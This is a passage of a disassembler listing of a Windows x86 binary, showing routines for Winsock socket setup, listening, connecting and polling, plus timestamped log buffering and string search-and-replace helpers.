		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_401523j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D6075
		call	sub_401118
		retn
sub_419A20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A60:				; CODE XREF: ___:00401505j
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419A93
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419A93
		mov	[esp+18h], eax


loc_419A93:				; CODE XREF: ___:00419A7Bj
					; ___:00419A8Dj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_506E2C


loc_419AA8:				; CODE XREF: ___:00419AF9j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419AFB
		cmp	byte ptr [esi],	0
		jz	short loc_419AE4
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419AD8
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419AD8
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419AE4


loc_419AD8:				; CODE XREF: ___:00419ABFj
					; ___:00419AC7j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_401523
		add	esp, 10h


loc_419AE4:				; CODE XREF: ___:00419AB7j
					; ___:00419AD6j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50AE2C
		mov	[esp+14h], edx
		jl	short loc_419AA8


loc_419AFB:				; CODE XREF: ___:00419AB2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B40:				; CODE XREF: ___:00402266j
		push	ebx
		mov	ebx, dword_50FAF8
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_506E2C


loc_419B52:				; CODE XREF: ___:00419B6Ej
		cmp	byte ptr [esi],	0
		jz	short loc_419B62
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419B76


loc_419B62:				; CODE XREF: ___:00419B55j
		add	esi, 80h
		cmp	esi, offset dword_50AE2C
		jl	short loc_419B52
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419B76:				; CODE XREF: ___:00419B60j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419B90	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		call	near ptr 2840000h
		nop
		mov	edi, dword_50FAFC
		mov	esi, offset dword_50AE2C


loc_419BAB:				; CODE XREF: sub_419B90+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419BBF
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419BBF:				; CODE XREF: sub_419B90+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_506E2C
		jge	short loc_419BAB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_506E2C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419B90	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419C60:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_50FAFC
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419CD1
		mov	[edx+180h], al


loc_419CD1:				; CODE XREF: ___:00419CC9j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419DE2


loc_419CEF:				; CODE XREF: ___:00419DD5j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419DB0
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419DB0
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419D8D
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		call	sub_69BB85
		nop
		add	esp, 14h
		jmp	short loc_419DB0
; ---------------------------------------------------------------------------


loc_419D8D:				; CODE XREF: ___:00419D5Ej
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_69BB85
		add	esp, 10h


loc_419DB0:				; CODE XREF: ___:00419D3Aj
					; ___:00419D41j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_50FAF8
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419DDB
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419CEF


loc_419DDB:				; CODE XREF: ___:00419DC6j
		mov	esi, [esp+614h]


loc_419DE2:				; CODE XREF: ___:00419CE9j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419E80:				; CODE XREF: ___:004018CFj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419E9E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E9E:				; CODE XREF: ___:00419E95j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419EE9
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EE9:				; CODE XREF: ___:00419EDFj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419F01
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F01:				; CODE XREF: ___:00419EF7j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F40:				; CODE XREF: ___:00401E65j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4DE2A5


loc_419F48:				; CODE XREF: ___:00419F58j
		cmp	dword ptr [eax], 0
		jz	short loc_419F5A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E5E15
		jle	short loc_419F48


loc_419F5A:				; CODE XREF: ___:00419F4Bj
		cmp	edi, 13h
		jle	short loc_419F64
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419F64:				; CODE XREF: ___:00419F5Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4DE1ABh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_69BB85
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_69BB85
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A000	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D6735


loc_41A008:				; CODE XREF: sub_41A000+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A01A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4DE2A5
		jle	short loc_41A008


loc_41A01A:				; CODE XREF: sub_41A000+Bj
		cmp	edi, 13h
		jle	short loc_41A024
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A024:				; CODE XREF: sub_41A000+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D663Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_69BB85
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_69BB85
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41A000	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A0C0	proc near		; CODE XREF: sub_401C35j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43E0BC
		mov	eax, dword_50BAF8
		test	eax, eax
		jnz	short loc_41A0F8
		mov	eax, dword_50BAF8
		inc	eax
		mov	dword_50BAF8, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A105
; ---------------------------------------------------------------------------


loc_41A0F8:				; CODE XREF: sub_41A0C0+19j
		mov	edx, dword_50BAF8
		inc	edx
		mov	dword_50BAF8, edx


loc_41A105:				; CODE XREF: sub_41A0C0+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_446F30
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A0C0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A190	proc near		; CODE XREF: ___:004018D4j sub_401AF5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FC8
		test	[esp+4+arg_0], 1
		jz	short loc_41A1A8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A1A8:				; CODE XREF: sub_41A190+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A190	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1C0	proc near		; CODE XREF: sub_401FC8j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43E0BC
		test	al, al
		jnz	short loc_41A1D5
		call	sub_4014DD


loc_41A1D5:				; CODE XREF: sub_41A1C0+Ej
		mov	eax, 1
		mov	ecx, dword_50BAF8
		cmp	ecx, eax
		jle	short loc_41A1F0
		mov	eax, dword_50BAF8
		dec	eax
		mov	dword_50BAF8, eax

locret_41A1EF:				; CODE XREF: sub_41A1C0:loc_41A1F0j
		retn
; ---------------------------------------------------------------------------


loc_41A1F0:				; CODE XREF: sub_41A1C0+22j
		jnz	short locret_41A1EF
		mov	ecx, dword_50BAF8
		dec	ecx
		mov	dword_50BAF8, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A1C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A230:				; CODE XREF: ___:004015A0j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AD6B
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jz	loc_41A2E1
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A269
		mov	al, 1
		jmp	short loc_41A2E1
; ---------------------------------------------------------------------------


loc_41A269:				; CODE XREF: ___:0041A263j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401636
		push	eax
		mov	ecx, esi
		call	sub_4020C7
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40186B
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A2E1:				; CODE XREF: ___:0041A255j
					; ___:0041A267j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A340	proc near		; CODE XREF: sub_40195Bj
		mov	al, byte_443D94
		retn
sub_41A340	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A360	proc near		; CODE XREF: sub_4020C7j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A380
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A380:				; CODE XREF: sub_41A360+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A521
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A3BA
		mov	ecx, esi
		call	sub_4014DD
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3BA:				; CODE XREF: sub_41A360+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A3C9
		push	1
		jmp	short loc_41A3CB
; ---------------------------------------------------------------------------


loc_41A3C9:				; CODE XREF: sub_41A360+63j
		push	0


loc_41A3CB:				; CODE XREF: sub_41A360+67j
		mov	ecx, esi
		call	sub_4018BB
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_50FC44
		test	eax, eax
		jge	short loc_41A46C
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A45D
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A45D
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A45D
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A45D:				; CODE XREF: sub_41A360+D6j
					; sub_41A360+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A51A


loc_41A46C:				; CODE XREF: sub_41A360+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_50FC80
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A4E0


loc_41A4AB:				; CODE XREF: sub_41A360+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A4F5
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A4C4
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A4F5


loc_41A4C4:				; CODE XREF: sub_41A360+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A4AB


loc_41A4E0:				; CODE XREF: sub_41A360+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A511
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A513
; ---------------------------------------------------------------------------


loc_41A4F5:				; CODE XREF: sub_41A360+152j
					; sub_41A360+162j
		mov	ecx, esi
		call	sub_4014DD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A511:				; CODE XREF: sub_41A360+189j
		push	0


loc_41A513:				; CODE XREF: sub_41A360+193j
		mov	ecx, esi
		call	sub_4018BB


loc_41A51A:				; CODE XREF: sub_41A360+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A521:				; CODE XREF: sub_41A360+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A360	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5B0	proc near		; CODE XREF: sub_4014DDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A5CA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A5CA
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41A5CA:				; CODE XREF: sub_41A5B0+Cj
					; sub_41A5B0+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A5B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5F0	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_446F30
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A5F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A660	proc near		; CODE XREF: sub_401488j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A676
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A676:				; CODE XREF: sub_41A660+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A72F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A6AB
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6AB:				; CODE XREF: sub_41A660+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41A704
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A704:				; CODE XREF: sub_41A660+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A728
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A728:				; CODE XREF: sub_41A660+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A72F:				; CODE XREF: sub_41A660+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A660	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A780	proc near		; CODE XREF: sub_401B81j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A79E
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A79E:				; CODE XREF: sub_41A780+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A7B5
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7B5:				; CODE XREF: sub_41A780+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A831
		call	sub_40195B
		test	al, al
		jz	short loc_41A824
		mov	edi, dword_50FC80


loc_41A7CE:				; CODE XREF: sub_41A780+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A81B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_437000
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A831


loc_41A81B:				; CODE XREF: sub_41A780+84j
		call	sub_40195B
		test	al, al
		jnz	short loc_41A7CE


loc_41A824:				; CODE XREF: sub_41A780+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A831:				; CODE XREF: sub_41A780+3Dj
					; sub_41A780+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A854
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A866
; ---------------------------------------------------------------------------


loc_41A854:				; CODE XREF: sub_41A780+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A866:				; CODE XREF: sub_41A780+D2j
		mov	eax, [esi+806h]
		push	eax
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A889
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


